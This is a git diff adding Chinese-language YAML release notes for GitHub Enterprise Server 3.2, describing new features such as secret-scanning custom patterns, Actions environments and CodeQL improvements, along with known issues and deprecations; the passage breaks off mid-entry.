"具有维护权限的用户可以管理存储库级别的“允许自动合并”设置。此设置(默认关闭)控制自动合并是否可用于存储库中的拉取请求。以前只有具有管理员权限的用户可以管理此设置。此外,现在可以使用“[创建存储库](/rest/reference/repos#create-an-organization-repository)”和“[更新存储库](/rest/reference/repos#update-a-repository)”REST API 控制此设置。有关详细信息,请参阅“[管理存储库中的拉取请求自动合并](/github/administering-a-repository/configuring-pull-request-merges/managing-auto-merge-for-pull-requests-in-your-repository)”。" + + # https://github.com/github/releases/issues/1201 + - 问题和拉取请求的代理人选择功能现在支持提前键入搜索,从而可以更快地找到组织中的用户。此外,搜索结果排名已经更新,优先匹配用户的用户名或个人资料名称开头。 + + # https://github.com/github/releases/issues/1430 + - 现在,超过 100 名成员的团队要求进行审查时,开发人员将看到一个确认对话框,用于防止大型团队收到不必要的通知。 + + # https://github.com/github/releases/issues/1293 + - "问题标题、拉取请求标题以及 {% data variables.product.prodname_ghe_server %} 内引用问题和拉取请求标题的任意位置中现在支持反引号“代码块”。" + + # https://github.com/github/releases/issues/1300 + - "拉取请求事件和拉取请求审查事件现在包含在[企业](/admin/user-management/managing-users-in-your-enterprise/auditing-users-across-your-enterprise)和[组织](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization)的审核日志中。这些事件可帮助管理员更好地监视拉取请求活动并帮助确保符合安全性和合规性要求。事件可以从 Web UI 查看,以 CSV 或 JSON 格式导出,或通过 REST API 访问。还可以搜索特定拉取请求事件的审核日志。有关详细信息,请参阅“[查看组织的审核日志](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#pull_request-category-actions)”。" + + - heading: '分支更改' + notes: + # https://github.com/github/releases/issues/885 + - |新存储库的默认分支名称现在为“main”。现有存储库不受此更改的影响。如果用户、组织所有者或企业所有者之前为新存储库指定了默认分支,它们也不会受到影响。 + + + +如果希望设置其他默认分支名称,可在[用户](/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-the-default-branch-name-for-your-repositories)、[组织](/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization)或[企业](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-on-the-default-branch-name) 设置中执行此操作。 + +| + # https://github.com/github/releases/issues/981 + - |现可使用 {% data variables.product.product_name %} Web UI 重命名分支(包括默认分支)。当重命名分支时,任何针对重命名分支的打开拉取请求和草稿发布都将被自动重定向,并将更新明确引用重命名分支的分支保护规则。 + + + +重命名默认分支需要管理员权限,但重命名其他分支只需写入权限。 + + + +为了帮助用户尽可能无缝地进行更改: + + + +* 存储库主页上将向参与者、维护者和管理员显示通知,说明如何更新其本地存储库。 + +* 对旧分支的 Web 请求将被重定向。 + +* REST API 调用将返回“已永久移动”HTTP 响应。 + +* 推送到旧分支的 Git 命令行用户将看到一条信息性消息。 + + + +有关详细信息,请参阅“[重命名分支](/github/administering-a-repository/managing-branches-in-your-repository/renaming-a-branch)”。 + +| + - heading: 'GitHub Actions 更改' + notes: + # https://github.com/github/releases/issues/1227 + - '现在可使用 {% data variables.product.prodname_actions %} 控制授予“GITHUB_TOKEN”机密的权限。“GITHUB_TOKEN”是自动生成的机密,可以借助它在工作流运行中对 {% data variables.product.product_name %} API 进行经身份验证的调用。{% data variables.product.prodname_actions %} 为每个作业生成一个新令牌,并在作业完成时使令牌过期。令牌通常对许多 [API 终结点](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)具有“写入”权限,但来自分支的拉取请求除外,对这些拉取请求的权限始终为“读取”。通过这些新设置可在工作流中遵循最小特权原则。有关详细信息,请参阅“[工作流中的身份验证](/actions/reference/authentication-in-a-workflow#modifying-the-permissions-for-the-github_token)”。' + + # https://github.com/github/releases/issues/1280 + - '可以在 {% data variables.product.prodname_cli %} 1.9 及更高版本中在终端使用 {% data variables.product.prodname_actions %}。有关详细信息,请参阅 [{% data variables.product.prodname_dotcom %} 更改日志](https://github.blog/changelog/2021-04-15-github-cli-1-9-enables-you-to-work-with-github-actions-from-your-terminal/)。' + + # https://github.com/github/releases/issues/1157 + - "审核日志现在包括与 {% data variables.product.prodname_actions %} 工作流运行相关的事件。该数据为管理员提供了用于安全性和合规性审核的扩展数据集。有关详细信息,请参阅“[查看组织的审核日志](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#workflows-category-actions)”。" + + # https://github.com/github/releases/issues/1587 + - "已对 {% data variables.product.prodname_actions %} 进行了性能改进,这可能会提高最大作业吞吐量。有关内部测试 CPU 和内存配置的作业吞吐量的详细信息,请参阅“[{% data variables.product.prodname_ghe_server %} 的 {% data variables.product.prodname_actions %} 入门](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/getting-started-with-github-actions-for-github-enterprise-server#review-hardware-considerations)”。" + + - heading: 'GitHub 包更改' + notes: + # https://github.com/github/releases/issues/1088 + - "{% data variables.product.prodname_registry %} 的任何包或包版本现在可以从 {% data variables.product.product_name %} 的 Web UI 中删除。还可以在 30 天内撤消删除任何包或包版本。有关详细信息,请参阅“[删除和还原包](/packages/learn-github-packages/deleting-and-restoring-a-package)”。" + + - heading: 'Dependabot 和依赖项关系图更改' + notes: + # https://github.com/github/releases/issues/1537 + - "现在可以使用管理控制台启用依赖关系图,而不需要在管理 shell 中运行命令。有关详细信息,请参阅“[为易受攻击的依赖项 {% data variables.product.prodname_ghe_server %} 启用警报](/admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud/enabling-alerts-for-vulnerable-dependencies-on-github-enterprise-server#enabling-the-dependency-graph-and-dependabot-alerts-for-vulnerable-dependencies-on-github-enterprise-server)”。" + + # https://github.com/github/releases/issues/1153 + - "如果同时发现多个 {% data variables.product.prodname_dependabot_alerts %} 通知,则会将它们组合在一起。这大大减少了用户收到 {% data variables.product.prodname_dependabot %} 警告通知的数量。有关详细信息,请参阅 [{% data variables.product.prodname_dotcom %} 更改日志](https://github.blog/changelog/2021-03-18-grouped-dependabot-alert-notifications/)。" + + # https://github.com/github/releases/issues/1371 + - "依赖项关系图和 {% data variables.product.prodname_dependabot_alerts %} 现支持 Go 模块。{% data variables.product.prodname_ghe_server %} 分析存储库的“go.mod”文件以理解存储库的依赖项。除了安全建议外,依赖项关系图还提供了向开发人员发出易受攻击依赖项警报所需的信息。有关在专用存储库上启用依赖项关系图的详细信息,请参阅“[保护存储库](/code-security/getting-started/securing-your-repository#managing-the-dependency-graph)”。" + + # https://github.com/github/releases/issues/1538 + - "安全警报的默认通知设置已更改。以前,如果你有权限查看存储库中的安全警报,那么只要你的设置允许安全警报通知,就会收到该存储库通知。现在,必须通过监视存储库来选择加入安全警报通知。如果选择“所有活动”或将“自定义”配置为包含“安全警报”,则会收到通知。所有现有存储库都将自动迁移到这些新的设置,你将继续收到通知;但是,任何新的存储库都需要通过监视存储库来选择加入。有关详细信息,请参阅“[为 {% data variables.product.prodname_dependabot_alerts %} 配置通知](/code-security/dependabot/dependabot-alerts/configuring-notifications-for-dependabot-alerts)”和“[管理来自机密扫描的警报](/code-security/secret-security/managing-alerts-from-secret-scanning)”。" + + - heading: '代码扫描和机密扫描更改' + notes: + # https://github.com/github/releases/issues/1352 + - '具有 {% data variables.product.prodname_codeql %} 的 {% data variables.product.prodname_code_scanning_capc %} 现在为所有支持的语言生成诊断信息。这有助于检查所创建数据库的状态,以了解所执行分析的状态和质量。诊断信息从 [{% data variables.product.prodname_codeql_cli %}](https://codeql.github.com/docs/codeql-cli/) 的[版本 2.5.6](https://github.com/github/codeql-cli-binaries/releases) 开始提供。可以在 {% data variables.product.prodname_codeql %} 的 {% data variables.product.prodname_actions %} 日志中查看详细诊断信息。有关更多信息,请参阅“[查看代码扫描日志](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs)”。' + + # https://github.com/github/releases/issues/1360 + - '具有 {% data variables.product.prodname_codeql_cli %} 的 {% data variables.product.prodname_code_scanning_capc %} 现支持在单个生成过程中分析几种语言。这使得相比 {% data variables.product.prodname_actions %},使用 CI/CD 系统来运行代码分析更加轻松。从 [{% data variables.product.prodname_codeql_cli %}](https://codeql.github.com/docs/codeql-cli/) 的[版本 2.5.6](https://github.com/github/codeql-cli-binaries/releases) 开始,“codeql database create”命令的新模式可用。有关此设置的更多信息,请参阅“[在 CI 系统中安装 {% data variables.product.prodname_codeql_cli %}](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-cli-in-your-ci-system)”。' + + # https://github.com/github/releases/issues/1160 + - '来自所有支持工具的 {% data variables.product.prodname_code_scanning_capc %} 警报现在显示在一个合并列表中,以便你可以轻松地对所有警报进行优先级排序。可以使用“工具”筛选器查看来自特定工具的警报,“规则”和“标签”筛选器将根据你的“工具”选择进行动态更新。' + + # https://github.com/github/releases/issues/1454 + - '具有 {% data variables.product.prodname_codeql %} 的 {% data variables.product.prodname_code_scanning_capc %} 现包含对 C++20 代码分析的 beta 版本支持。这只在 Linux 上使用 GCC 生成代码库时可用。尚不支持 C++20 模块。' + + # https://github.com/github/releases/issues/1375 + - "{% data variables.product.prodname_codeql %} 的深度分析已通过添加对更多[库和框架](https://codeql.github.com/docs/codeql-overview/supported-languages-and-frameworks/)的支持并增加我们现有库和框架模型的覆盖范围,针对多种语言([C++](https://github.com/github/codeql/tree/main/cpp)、[JavaScript](https://github.com/github/codeql/tree/main/javascript)、[Python](https://github.com/github/codeql/tree/main/python) 和 [Java](https://github.com/github/codeql/tree/main/java))进行了改进。因此,{% data variables.product.prodname_codeql %} 现在可以检测更多不受信任的用户数据的潜在来源、审查数据流经的步骤,并识别数据可能最终到达的潜在危险接收器。这使得 {% data variables.product.prodname_code_scanning %} 警报质量得到了全面的提高。有关详细信息,请参阅 [{% data variables.product.prodname_dotcom %} 更改日志](https://github.blog/changelog/2021-07-01-codeql-code-scanning-now-recognizes-more-sources-and-uses-of-untrusted-user-data/)。" + + # https://github.com/github/releases/issues/1335 + # https://github.com/github/releases/issues/1314 + - |{% data variables.product.prodname_code_scanning_capc %} 现在显示 CodeQL 安全警报的“安全严重性”级别。可以配置哪些“安全严重性”级别会导致拉取请求检查失败。安全警报的严重性级别可分为“严重”、“高”、“中”或“低”。默认情况下,“安全严重性”为“严重”或“高”的任何 {% data variables.product.prodname_code_scanning %} 警报都会导致拉取请求检查失败。 + + + +此外,现在还可以配置哪些严重性级别会导致非安全警报的拉取请求检查失败。可以在存储库级别配置此行为,并定义具有“错误”、“警告”或“注意”级别的警报是否会导致拉取请求检查失败。默认情况下,严重性为“错误”的非安全 {% data variables.product.prodname_code_scanning %} 警报会导致拉取请求检查失败。 + + + +有关详细信息,请参阅“[定义导致拉取请求检查失败的警报严重性级别]”(/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#defining-the-severities-causing-pull-request-check-failure)”。 + + + +![具有安全性级别的代码扫描警报列表](/assets/images/enterprise/3.2/release-notes/code-scanning-alerts.png) + +| + # https://github.com/github/releases/issues/1324 + - |对 {% data variables.product.prodname_code_scanning %} 分支筛选器的改进使得哪些 {% data variables.product.prodname_code_scanning %} 警报将显示在警报页面上更加清晰明了。默认情况下,将筛选 {% data variables.product.prodname_code_scanning %} 警报以仅显示存储库默认分支的警报。可以使用分支筛选器来显示任何非默认分支上的警报。任何已应用的分支筛选器都将显示在搜索栏中。 + + + +搜索语法也被简化为“branch:<分支名称>”。此语法可以在搜索栏中多次使用,以筛选多个分支。前面的语法“ref:refs/heads/<分支名称>”仍然受支持,因此任何保存的 URL 都将继续工作。 + +| + # https://github.com/github/releases/issues/1313 + - |自定义文本搜索现在可以用于代码扫描警报。可以搜索代码扫描结果,以快速找到特定警报,而不必知道确切的搜索词。搜索应用于警报名称、说明和帮助文本。语法为: + + + +- 单个词返回所有匹配项。 + +- 多个搜索词返回与任意一个词匹配的结果。 + +- 用双引号括起来的词返回完全匹配项。 + +- 关键字“AND”返回多个词的匹配项。 + +| + - '{% data variables.product.prodname_secret_scanning_caps %} 为 23 个新的服务提供商添加了模式。有关支持的机密的更新列表,请参阅“[关于机密扫描](/code-security/secret-scanning/about-secret-scanning)”。' + + - heading: API 更改 + notes: + # https://github.com/github/releases/issues/1253 + - "向存储库 REST API 的“比较两个提交”终结点添加了分页支持,该终结点返回从一个提交或分支可访问但从另一个提交或分支无法访问的提交列表。该 API 现在还可以返回超过 250 次提交的比较结果。有关详细信息,请参阅 REST API 文档中的“[提交](/rest/reference/commits#compare-two-commits)”和“[使用分页遍历](/rest/guides/traversing-with-pagination)”。" + + # https://github.com/github/releases/issues/969 + - "现在可以使用 REST API 以编程方式重新发送或检查 Webhook 的状态。有关详细信息,请参阅 REST API 文档中的“[Webhook](/rest/reference/webhooks)”、“[组织](/rest/reference/orgs#webhooks)”和“[应用](/rest/reference/apps#webhooks)”。" + + # https://github.com/github/releases/issues/1349 + - |对代码扫描和 {% data variables.product.prodname_GH_advanced_security %} API 进行了改进: + + + +- 代码扫描 API 现在返回用于分析的 CodeQL 查询版本。这可以用于再现结果或确认分析使用了最新查询。有关更多信息,请参阅 REST API 文档中的“[代码扫描](/rest/reference/code-scanning#list-code-scanning-alerts-for-a-repository)”。 + +- 管理员用户现在可以使用 REST API 来启用或禁用存储库的 {% data variables.product.prodname_GH_advanced_security %},方法是使用“repos/{org}/{repo}”上的“security_and_analysis”对象。此外,管理员用户还可以通过“GET /repos/{owner}/{repo}”请求来检查当前是否为存储库启用了 {% data variables.product.prodname_advanced_security %}。这些更改将帮助你大规模管理 {% data variables.product.prodname_advanced_security %} 存储库访问。有关详细信息,请参阅 REST API 文档中的“[存储库](/rest/reference/repos#update-a-repository)”。 + +| + # No security/bug fixes for the RC release + # security_fixes: + # - PLACEHOLDER + + # bugs: + # - PLACEHOLDER + + known_issues: + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 如果问题包含同一存储库中 blob 的永久链接并且该 blob de 文件路径长于 255 个字符,则问题无法关闭。 + - 在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "{% data variables.product.prodname_registry %} npm 注册表不再在元数据响应中返回时间值。这样做是为了大幅改善性能。我们继续拥有将时间值作为元数据响应的一部分返回所需的所有数据,并将在以后解决现有性能问题后恢复返回该值。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 + + deprecations: + - heading: 弃用 GitHub Enterprise Server 2.21 + notes: + - '**{% data variables.product.prodname_ghe_server %} 2.21 已于 2021 年 6 月 6 日停用**。这意味着在此日期之后不会发布任何补丁,即使是针对关键安全问题也是如此。为了获得更好的性能、改进的安全性和新功能,请尽快[升级到 {% data variables.product.prodname_ghe_server %} 的最新版本](/enterprise-server@3.2/admin/enterprise-management/upgrading-github-enterprise-server)。' + - heading: 弃用 GitHub Enterprise Server 2.22 + notes: + - '**{% data variables.product.prodname_ghe_server %} 2.22 将于 2021 年 9 月 23 日停用**。这意味着在此日期之后不会发布任何补丁,即使是针对关键安全问题也是如此。为了获得更好的性能、改进的安全性和新功能,请尽快[升级到 {% data variables.product.prodname_ghe_server %} 的最新版本](/enterprise-server@3.2/admin/enterprise-management/upgrading-github-enterprise-server)。' + - heading: XenServer Hypervisor 支持终止 + notes: + # https://github.com/github/docs-content/issues/4439 + - "从 {% data variables.product.prodname_ghe_server %} 3.1 开始,我们将终止对 Xen Hypervisor 的支持。计划在标准一年期弃用窗口后在 {% data variables.product.prodname_ghe_server %} 3.3 中完全弃用。如有问题或疑虑,请联系 [GitHub 支持](https://support.github.com/contact)。" + - heading: 删除旧 GitHub 服务 + notes: + # https://github.com/github/releases/issues/1506 + - '{% data variables.product.prodname_ghe_server %} 3.2 删除未使用的 GitHub 服务数据库记录。有关详细信息,请参阅[弃用公告帖文](https://developer.github.com/changes/2018-04-25-github-services-deprecation/)。' + - heading: 弃用 OAuth 应用程序 API 终结点和通过查询参数的 API 身份验证 + notes: + # https://github.com/github/releases/issues/1316 + - |为防止意外记录或公开“access_tokens”,不建议使用 OAuth 应用程序 API 终结点和通过查询参数使用 API 身份验证。浏览以下帖文,查看建议的替换: + + + +* [替换 OAuth 应用程序 API 终结点](https://developer.github.com/changes/2020-02-14-deprecating-oauth-app-endpoint/#changes-to-make) + +* [通过标头而不是查询参数替换身份验证](https://developer.github.com/changes/2020-02-10-deprecating-auth-through-query-param/#changes-to-make) + + + +计划从 {% data variables.product.prodname_ghe_server %} 3.4 中的 {% data variables.product.prodname_ghe_server %} 中删除这些终结点和身份验证路由。 + +| + - heading: 删除旧 GitHub 应用 Webhook 事件和终结点 + notes: + # https://github.com/github/releases/issues/965 + - |两个旧 GitHub 应用相关 Webhook 事件已删除:“integration_installation”和“integration_installation_repositories”。应改为侦听“installation”和“installation_repositories”事件。 + +| + - |以下 REST API 终结点已删除“POST /installations/{installation_id}/access_tokens”。应使用等效命名空间“POST /app/installations/{installation_id}/access_tokens”。 + +| + backups: + - '{% data variables.product.prodname_ghe_server %} 3.2 至少需要 [GitHub Enterprise Backup Utilities 3.2.0](https://github.com/github/backup-utils) 进行[备份和灾难恢复](/enterprise-server@3.2/admin/configuration/configuring-backups-on-your-appliance)。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-2/0.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-2/0.yml new file mode 100644 index 0000000000..e50531d74c --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-2/0.yml @@ -0,0 +1,369 @@ +date: '2021-09-28' +intro: "有关升级说明,请参阅“[升级 {% data variables.product.prodname_ghe_server %}](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server)”。" +sections: + features: + - heading: 机密扫描的自定义模式 + notes: + # https://github.com/github/releases/issues/1426 + - |{% data variables.product.prodname_GH_advanced_security %} 客户现可指定机密扫描的自定义模式。指定新模式时,机密扫描会在存储库的整个 Git 历史记录中搜索该模式以及任何新提交。 + + + +用于 {% data variables.product.prodname_ghe_server %} 3.2 的用户定义模式为 beta 版本。它们可以在存储库、组织和企业级别定义。有关详细信息,请参阅“[定义机密扫描的自定义模式](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning)”。 + +| + - heading: Advanced Security 安全概览(beta 版本) + notes: + # https://github.com/github/releases/issues/1381 + - |{% data variables.product.prodname_GH_advanced_security %} 客户现可查看 {% data variables.product.prodname_code_scanning %}、{% data variables.product.prodname_dependabot %} 和 {% data variables.product.prodname_secret_scanning %} 检测到的企业级应用程序安全风险。安全概览显示每个存储库上安全功能的启用状态以及检测到的警报数量。 + + + +此外,安全概览将列出组织级别的所有 {% data variables.product.prodname_secret_scanning %} 警报。与 {% data variables.product.prodname_secret_scanning %} 警报相似的视图将在未来版本中推出。有关详细信息,请参阅“[关于安全概览](/code-security/security-overview/about-the-security-overview)”。 + + + +![安全概览的屏幕截图](/assets/images/enterprise/3.2/release-notes/security-overview-UI.png) + +| + - heading: 依赖项审查(beta 版本) + notes: + # https://github.com/github/releases/issues/1364 + - |{% data variables.product.prodname_GH_advanced_security %} 客户现可查看拉取请求中已更改的依赖项的大量差异。依赖项审查在拉取请求的“已更改的文件”选项卡中提供依赖项更改及其安全影响的易于理解的视图。视图中将显示已添加、删除或更新了哪些依赖项以及这些依赖项的漏洞信息。有关详细信息,请参阅“[审查拉取请求中的依赖项更改](/github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request)”。 + +| + - heading: GitHub Actions 环境 + notes: + # https://github.com/github/releases/issues/1308 + - |环境、环境保护规则和环境机密现已正式可用于 {% data variables.product.product_name %} 上的 {% data variables.product.prodname_actions %}。有关详细信息,请参阅“[环境](/actions/reference/environments)”。 + + + +![安全保护规则](/assets/images/enterprise/3.2/release-notes/actions-environments.png) + +| + - heading: 使用安全密钥进行 SSH 身份验证 + notes: + # https://github.com/github/releases/issues/1276 + - |现在,将“sk-ecdsa-sha2-nistp256@openssh.com”或“sk-ssh-ed25519@openssh.com”SSH 密钥添加到帐户时,支持使用 FIDO2 安全密钥进行 SSH 身份验证。SSH 安全密钥将密钥材料存储在需要验证(例如点击)才能操作的单独硬件设备上。有关详细信息,请参阅“[生成新的 SSH 密钥并将其添加到 ssh-agent](/github/authenticating-to-github/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#generating-a-new-ssh-key-for-a-hardware-security-key)”。 + +| + - heading: '深色和暗色主题' + notes: + # https://github.com/github/releases/issues/1260 + - |深色和暗色主题现在可用于 Web UI。未在 {% data variables.product.product_name %} 中设置主题偏好设置时,{% data variables.product.product_name %} 将匹配你的系统偏好设置。还可以选择哪些主题在白天和晚上处于活跃状态。有关详细信息,请参阅“[管理主题设置](/github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings)”。 + + + +![深色和暗色主题](https://user-images.githubusercontent.com/33528647/114629560-d2231f80-9c86-11eb-9bde-cc301a97040d.gif) + +| + - heading: '批准电子邮件通知的未经验证域' + notes: + # https://github.com/github/releases/issues/1244 + - "无法进行验证的域现在可获批使用电子邮件通知路由。企业和组织所有者将能够批准域并立即扩充其电子邮件通知限制政策,允许将通知发送给协作者、顾问、收购方或其他合作伙伴。有关详细信息,请参阅“[验证或批准企业的域](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise#about-approval-of-domains)”和“[限制企业的电子邮件通知](/admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise#restricting-email-notifications-for-your-enterprise-account)”。" + + - heading: 'Git 凭据管理器 (GCM) 安全凭据存储和多重身份验证支持' + notes: + # https://github.com/github/releases/issues/1406 + - |Git 凭据管理器 (GCM) 版本 2.0.452 及更高版本现在为 {% data variables.product.product_name %} 提供安全强化的凭据存储和多重身份验证支持。 + + + +[Git for Windows](https://gitforwindows.org) 版本 2.32 及更高版本中提供具有 {% data variables.product.product_name %} 支持的 GCM。Git for macOS 或 Linux 中不提供 GCM,但可以单独安装。有关详细信息,请参阅“GitCredentialManager/git-credential-manager”存储库中的[最新发布](https://github.com/GitCredentialManager/git-credential-manager/releases/)和[安装说明](https://github.com/GitCredentialManager/git-credential-manager/releases/)。 + +| + changes: + - heading: 管理更改 + notes: + # https://github.com/github/releases/issues/1309 + - "“用户代理引荐者策略”设置已添加到企业设置中。这允许管理员设置更严格的“Referrer-Policy”以隐藏外部站点的 {% data variables.product.prodname_ghe_server %} 安装的主机名。此设置默认处于禁用状态,并在启用或禁用时由员工和企业所有者的审核日志事件进行跟踪。有关详细信息,请参阅“[为企业配置引荐者策略](/admin/configuration/configuring-your-enterprise/configuring-the-referrer-policy-for-your-enterprise)”。" + + # https://github.com/github/releases/issues/1515 + - MySQL 健康状况检查已更改为使用“mysqladmin ping”而不是 TCP 检查,这消除了 MySQL 错误日志中的一些不必要干扰。此外,还改进了业务流程协调程序故障转移检查,以防止在应用群集配置更改时发生不必要的 MySQL 故障转移。 + + # https://github.com/github/releases/issues/1287 + - "Resque 服务(支持后台作业处理)已替换为 Aqueduct Lite。此更改使作业系统更易于管理,并且不会影响用户体验。有关 Aqueduct 的新管理和调试命令,请参阅“[命令行实用程序](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-aqueduct)”。" + + - heading: 令牌更改 + notes: + # https://github.com/github/releases/issues/1235 + - |{% data variables.product.product_name %} 的身份验证令牌的格式已更改。此更改将影响 {% data variables.product.prodname_oauth_apps %} 的个人访问令牌和访问令牌的格式,以及 {% data variables.product.prodname_github_apps %} 的用户到服务器、服务器到服务器和刷新令牌的格式。 + + + +不同的令牌类型现在具有唯一的可识别前缀,这允许通过机密扫描来检测令牌,以便可以减轻某人意外将令牌提交到存储库的影响。{% data variables.product.company_short %} 建议尽快更新现有令牌。有关详细信息,请参阅“[关于向 {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/about-authentication-to-github#githubs-token-formats) 进行身份验证”和“[关于 {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/about-secret-scanning)”。 + +| + - heading: '存储库更改' + notes: + # https://github.com/github/releases/issues/1295 + - 用户配置文件和组织配置文件上的存储库限制支持按星级排序。 + + # https://github.com/github/releases/issues/1327 + - "查看单个文件的提交历史记录时,现在可以单击 {% ocicon \"file-code\" aria-label=\"The code icon\" %} 以在历史记录中的选定点查看该文件。" + + # https://github.com/github/releases/issues/1254 + - "在 {% data variables.product.product_location %} 中使用相对路径定义子模块时,现在可以在 Web UI 中单击该子模块。单击 Web UI 中的子模块会定向到链接的存储库。以前只能单击具有绝对 URL 的子模块。具有相同所有者且遵循模式 ../REPOSITORY 的存储库的相对路径或具有不同所有者且遵循模式 ../OWNER/REPOSITORY 的存储库的相对路径支持此功能。有关使用子模块的详细信息,请参阅 {% data variables.product.prodname_blog %} 上的[使用子模块](https://github.blog/2016-02-01-working-with-submodules/)。" + + # https://github.com/github/releases/issues/1250 + - "Web UI 现在可用于将分支的过期分支与分支的上游分支同步。如果分支之间没有合并冲突,则通过快进或从上游合并来更新分支。如果存在冲突,系统将提示创建拉取请求以解决冲突。有关详细信息,请参阅“[同步分支](/github/collaborating-with-pull-requests/working-with-forks/syncing-a-fork#syncing-a-fork-from-the-web-ui)”。" + + - heading: 'Markdown 更改' + notes: + # https://github.com/github/releases/issues/1477 + - "在存储库中创建或编辑版本时使用的 Markdown 编辑器现在具有文本编辑工具栏。有关详细信息,请参阅“[管理存储库中的发布](/github/administering-a-repository/releasing-projects-on-github/managing-releases-in-a-repository#creating-a-release)”。" + + # https://github.com/github/releases/issues/1169 + - "现在,在 {% data variables.product.product_name %} 上编写 Markdown 的任何位置都支持上传视频文件。在问题、拉取请求评论以及存储库内的 Markdown 文件(例如 README)中共享演示、复制步骤等。有关详细信息,请参阅“[附加文件](/github/writing-on-github/working-with-advanced-formatting/attaching-files)”。" + + # https://github.com/github/releases/issues/1269 + - 当有 2 个或更多标题时,Markdown 文件现在将在标题中自动生成目录。目录是交互式的并且链接到选定部分。支持所有 6 个 Markdown 标题级别。 + + # https://github.com/github/releases/issues/1294 + - '有一个新的键盘快捷方式,macOS 上的“cmd+e”或 Windows 上的“ctrl+e”,用于在 Markdown 文件、问题、拉取请求和评论中插入代码块。' + + # https://github.com/github/releases/issues/1474 + - "将“?plain=1”附加到任何 Markdown 文件的 URL 时,现在将显示该文件而不进行渲染和显示行号。普通视图可用于将其他用户链接到特定行。例如,附加“?plain=1#L52”将突出显示纯文本 Markdown 文件的第 52 行。有关详细信息,请参阅“[创建指向代码片段的永久链接](/github/writing-on-github/working-with-advanced-formatting/creating-a-permanent-link-to-a-code-snippet#linking-to-markdown)”。" + + - heading: '问题和拉取请求更改' + notes: + # https://github.com/github/releases/issues/1413 + - "使用 [Octicons 的最新版本](https://github.com/primer/occticons/releases)时,现在问题和拉取请求的状态在视觉上更加清晰,因此你可以更轻松地扫描其状态。有关详细信息,请参阅 [{% data variables.product.prodname_blog %}](https://github.blog/changelog/2021-06-08-new-issue-and-pull-request-state-icons/)。" + + # https://github.com/github/releases/issues/1419 + - "现已推出新的“在合并前需要对话解决”分支保护规则和“对话”菜单。从“更改的文件”选项卡中轻松发现你的拉取请求评论,并要求在合并之前解决所有拉取请求对话。有关详细信息,请参阅“[关于拉取请求评审](/github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews#discovering-and-navigating-conversations)”和“[关于受保护分支](/github/administering-a-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#require-conversation-resolution-before-merging)”。" + + # https://github.com/github/releases/issues/1279 + - "为了防止在为拉取请求启用自动合并后合并意外更改,现在当没有存储库写入权限的用户推送新更改时,系统将自动禁用自动合并。启用自动合并后,没有写入权限的用户仍然可以使用基本分支中的更改来更新拉取请求。为防止恶意用户使用合并冲突将意外更改引入拉取请求,在更新导致合并冲突时,将禁用自动合并拉取请求。有关自动合并的详细信息,请参阅“[自动合并拉取请求](/github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request)”。" + + # https://github.com/github/releases/issues/1550 + - "具有维护权限的用户可以管理存储库级别的“允许自动合并”设置。此设置(默认关闭)控制自动合并是否可用于存储库中的拉取请求。以前只有具有管理员权限的用户可以管理此设置。此外,现在可以使用“[创建存储库](/rest/reference/repos#create-an-organization-repository)”和“[更新存储库](/rest/reference/repos#update-a-repository)”REST API 控制此设置。有关详细信息,请参阅“[管理存储库中的拉取请求自动合并](/github/administering-a-repository/configuring-pull-request-merges/managing-auto-merge-for-pull-requests-in-your-repository)”。" + + # https://github.com/github/releases/issues/1201 + - 问题和拉取请求的代理人选择功能现在支持提前键入搜索,从而可以更快地找到组织中的用户。此外,搜索结果排名已更新,优先匹配用户的用户名或配置文件名称开头。 + + # https://github.com/github/releases/issues/1430 + - 现在,超过 100 名成员的团队要求进行审查时,开发人员将看到一个确认对话框,以防止大型团队收到不必要的通知。 + + # https://github.com/github/releases/issues/1293 + - "问题标题、拉取请求标题以及 {% data variables.product.prodname_ghe_server %} 内引用问题和拉取请求标题的任意位置中现在支持反引号“code blocks”。" + + # https://github.com/github/releases/issues/1300 + - 